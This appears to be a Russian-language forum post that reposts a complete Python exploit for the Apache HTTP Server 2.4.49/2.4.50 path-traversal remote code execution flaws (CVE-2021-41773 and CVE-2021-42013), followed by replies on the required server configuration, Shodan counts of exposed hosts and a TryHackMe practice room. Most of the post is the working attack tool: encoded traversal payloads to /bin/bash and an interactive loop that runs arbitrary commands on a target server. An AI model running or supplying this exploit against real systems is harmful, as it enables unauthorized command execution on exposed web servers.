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Web Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)

DarckSol

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# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Software Link: https://github.com/Balgogan/CVE-2021-41773
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell

Код:
#!/usr/bin/env python3
#coding: utf-8

import os
import re
import sys
import time
import requests
from colorama import Fore,Style


header = '''\033[1;91m
 
     ▄▄▄       ██▓███   ▄▄▄       ▄████▄   ██░ ██ ▓█████     ██▀███   ▄████▄  ▓█████
    ▒████▄    ▓██░  ██▒▒████▄    ▒██▀ ▀█  ▓██░ ██▒▓█   ▀    ▓██ ▒ ██▒▒██▀ ▀█  ▓█   ▀
    ▒██  ▀█▄  ▓██░ ██▓▒▒██  ▀█▄  ▒▓█    ▄ ▒██▀▀██░▒███      ▓██ ░▄█ ▒▒▓█    ▄ ▒███
    ░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█  ▄    ▒██▀▀█▄  ▒▓▓▄ ▄██▒▒▓█  ▄
    ▓█   ▓██▒▒██▒ ░  ░ ▓█   ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒   ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒
    ▒▒   ▓▒█░▒▓▒░ ░  ░ ▒▒   ▓▒█░░ ░▒ ▒  ░ ▒ ░░▒░▒░░ ▒░ ░   ░ ▒▓ ░▒▓░░ ░▒ ▒  ░░░ ▒░ ░
    ▒   ▒▒ ░░▒ ░       ▒   ▒▒ ░  ░  ▒    ▒ ░▒░ ░ ░ ░  ░     ░▒ ░ ▒░  ░  ▒    ░ ░  ░
    ░   ▒   ░░         ░   ▒   ░         ░  ░░ ░   ░        ░░   ░ ░           ░
''' + Style.RESET_ALL


if len(sys.argv) < 2 :
    print( 'Use: python3 file.py ip:port ' )
    sys.exit()

def end():
    print("\t\033[1;91m[!] Bye bye !")
    time.sleep(0.5)
    sys.exit(1)

def commands(url,command,session):
    directory = mute_command(url,'pwd')
    user = mute_command(url,'whoami')
    hostname = mute_command(url,'hostname')
    advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)')
    command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}")  
    command = f"echo; {command};"
    req = requests.Request('POST', url=url, data=command)
    prepare = req.prepare()
    prepare.url = url
    response = session.send(prepare, timeout=5)
    output = response.text
    print(output)
    if 'clear' in command:
        os.system('/usr/bin/clear')
        print(header)
    if 'exit' in command:
        end()

def mute_command(url,command):
    session = requests.Session()
    req = requests.Request('POST', url=url, data=f"echo; {command}")
    prepare = req.prepare()
    prepare.url = url
    response = session.send(prepare, timeout=5)
    return response.text.strip()


def exploitRCE(payload):
    s = requests.Session()
    try:
        host = sys.argv[1]
        if 'http' not in host:
            url = 'http://'+ host + payload
        else:
            url = host + payload
        session = requests.Session()
        command = "echo; id"
        req = requests.Request('POST', url=url, data=command)
        prepare = req.prepare()
        prepare.url = url
        response = session.send(prepare, timeout=5)
        output = response.text
        if "uid" in output:
            choice = "Y"
            print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host)
            print("[!] Sortie:\n\n" + Fore.YELLOW + output )
            choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ")
            if choice.lower() in ['','y','yes']:
                while True:
                    commands(url,command,session)
            else:
                end()     
        else :
            print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host)
    except KeyboardInterrupt:
        end()

def main():
    try:
        apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash'
        apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash'
        payloads = [apache2449_payload,apache2450_payload]
        choice = len(payloads) + 1
        print(header)
        print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE")
        while choice >= len(payloads) and choice >= 0:
            choice = int(input('[~] Choice : '))
            if choice < len(payloads):
                exploitRCE(payloads[choice])
    except KeyboardInterrupt:
            print("\n\033[1;91m[!] Bye bye !")
            time.sleep(0.5)
            sys.exit(1)

if __name__ == '__main__':
    main()

Вов вов вов......

 
Пожалуйста, обратите внимание, что пользователь заблокирован
If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

Нам нужна очень конкретная конфигурация. Для файлов вне document root должны быть явно предоставлены разрешения. Это не конфигурация по умолчанию и, таким образом, этот эксплойт есть бесполезным для большого процента хостов Apache.
Shodan выдает 21к и 6.4к хостов на сервера версии 2.4.49 и 2.4.50.

Кому интересно разобраться и потестить на уже сконфигурированных серверах на THM есть комната https://tryhackme.com/room/cve202141773
 


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